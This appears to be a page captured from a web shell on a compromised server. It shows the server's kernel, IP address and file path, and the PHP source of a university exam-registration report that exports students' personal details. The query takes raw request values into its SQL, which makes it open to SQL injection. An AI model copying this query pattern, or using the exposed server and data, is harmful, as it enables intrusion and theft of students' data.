0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 13.58.32.115


Current Path : /var/www/oasis/Report_details_old/
Upload File :
Current File : /var/www/oasis/Report_details_old/tatkal.php

<?php

function Generatetatkalreport($aobj_context)
{
	session_start();
	$collcode=$_SESSION['collcode'];
	
	ini_set('memory_limit','300M');
	ini_set('max_execution_time',3300);
	
	$aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC);
	$filename = 'university_qpcount.csv';
	$f = fopen('php://output', 'w'); 
	
	$app_from = trim($aobj_context->mobj_data["app_from"]);
	$app_to = trim($aobj_context->mobj_data["app_to"]);
	$regno_from = trim($aobj_context->mobj_data["regno_from"]);
	$regno_to = trim($aobj_context->mobj_data["regno_to"]);
	$reportype = trim($aobj_context->mobj_data["reportype"]);
	$payed = trim($aobj_context->mobj_data["payed"]);
	$date_from = trim($aobj_context->mobj_data["date_from"]);
	$date_to = trim($aobj_context->mobj_data["date_to"]);
    $cpo = trim($aobj_context->mobj_data["cpo"]);
	
//and FREGDATE BETWEEN DATE_FORMAT(STR_TO_DATE('{$date_from}', '%d/%m/%Y'),'%Y-%m-%d')  
	//		AND DATE_FORMAT(STR_TO_DATE('{$date_to}', '%d/%m/%Y'),'%Y-%m-%d')
	
	if($reportype == 'all')
        $type = '';
    else
        $type = "and fscheme = '{$reportype}' and freccer = 'post'";
    
	if($payed == 1)
	{
		$payment = "and ifnull(FPAYDATE,'') <> '' and FPAYSTATUS = 'success'"; 
	}
	else
	{
		$payment = "";
	}	
    
    if($cpo == '1')
    {
        $cpo = " and ifnull(ds.FCERTNO,'') <> ''";
    }else
    {
        $cpo = '';
    }   
        
    $query = "select dc.fappno,dc.fregno,dc.fname,date_format(dc.fdob,'%d/%m/%Y')  as fdob,dc.fmobile,dc.femail,dc.fpostaddr1,dc.fpostaddr2,dc.fpostaddr3,dc.fpostaddr4,dc.fstate,dc.fcity,dc.fpincode,ds.FCERTNO,ds.FCERTDATE  
    from dctran dc,dcstud ds where dc.fregno between '{$regno_from}'  and '{$regno_to}' and  dc.fregno = ds.fregno
    and fappno between '{$app_from}' and '{$app_to}'  {$type}  AND 
    FREGDATE BETWEEN DATE_FORMAT(STR_TO_DATE('{$date_from}', '%d/%m/%Y'),'%Y-%m-%d') 
    AND DATE_FORMAT(STR_TO_DATE('{$date_to}', '%d/%m/%Y'),'%Y-%m-%d') {$payment} {$cpo}";
	//var_dump($query); die();	
	$lobj_get_data = $aobj_context->mobj_db->GetAll($query);
	
	$arrW =0;
	$subjRow ='';
		
	if(!empty($lobj_get_data))
	{
		$e_data.="<table cellspacing='0' cellpadding='1' border='1' width = ''>";
		$e_data.="<tr>";
		$e_data.="<td style = 'text-align:center;font-weight: bold;row-height:40px;' >Sl. No.</td>";
		$e_data.="<td style = 'text-align:center;font-weight: bold;row-height:40px;' >Application No.</td>";
		$e_data.="<td style = 'text-align:center;font-weight:bold;row-height:40px;' >Register No.</td>";
		$e_data.="<td style = 'text-align:center;font-weight:bold;row-height:40px;'>Student Name</td>";
		$e_data.="<td style = 'text-align:center;font-weight:bold;row-height:40px;'>Date of Birth</td>"; 
		$e_data.="<td style = 'text-align:center;font-weight:bold;row-height:40px;'>Mobile No.</td>";
		$e_data.="<td style = 'text-align:center;font-weight:bold;row-height:40px;' >Email Id</td>";
		$e_data.="<td style = 'text-align:center;font-weight:bold;row-height:40px;' >Address</td>";	
        $e_data.="<td style = 'text-align:center;font-weight:bold;row-height:40px;' >Cert. No.</td>";	
        $e_data.="<td style = 'text-align:center;font-weight:bold;row-height:40px;' >Cert. Date</td>";		
		$e_data.="</tr>";							
		$k=0;
		$id=0;
		$m=0;
		$filename = 'Tatkal';

		foreach($lobj_get_data as $key=>$value)
		{
			if($k%2==0)
			{
				$class='tbl_row';
				$inp_class='tbl_row_input';
			}
			else
			{
				$input_class='tbl_row1'; 
				$inp_class='tbl_row1_input';
			}  
			
			$address = $value['fpostaddr1'].' '.$value['fpostaddr2'].' '.$value['fpostaddr3'].$value['fpostaddr4'].'<br>City : '.$value['fcity'].'<br>Pincode : '.$value['fpincode'].'<br>State : '.$value['fstate']; 
			
			$e_data.="<tr>";	
			$e_data.="<td style = 'vertical-align:middle;' >{$counter_degree}</td>";			
			$e_data.="<td style = 'vertical-align:middle;' >{$value['fappno']}</td>";
			$e_data.="<td style = 'vertical-align:middle;' >{$value['fregno']}</td>";
			$e_data.="<td style = 'vertical-align:middle;' >{$value['fname']}</td>";
			$e_data.="<td style = 'vertical-align:middle;' >{$value['fdob']}</td>"; 
			$e_data.="<td style = 'vertical-align:middle;' >{$value['fmobile']}</td>";
			$e_data.="<td style = 'vertical-align:middle;' >{$value['femail']}</td>";
			$e_data.="<td style = 'vertical-align:middle;' >{$address}</td>";	
            $e_data.="<td style = 'vertical-align:middle;' >{$value['FCERTNO']}</td>";
            $e_data.="<td style = 'vertical-align:middle;' >{$value['FCERTDATE']}</td>";
            
            
			$e_data.="</tr>";
			$k++;
			$id++;
			$m++;
			$counter_degree++;
		}
		$e_data.="</table>";
		//var_dump($e_data);die();
		$arr['total_count']= $m;						
		$arr['html']=$e_data;
		$arr['error']=0;
	}
	else
	{
		$arr['html'] = '<p> No record found </p>';
	}	
	header("Content-Type:application/xls");
	header("Content-Disposition: attachment; filename={$filename}.xls"); 
	echo $e_data;
}

?>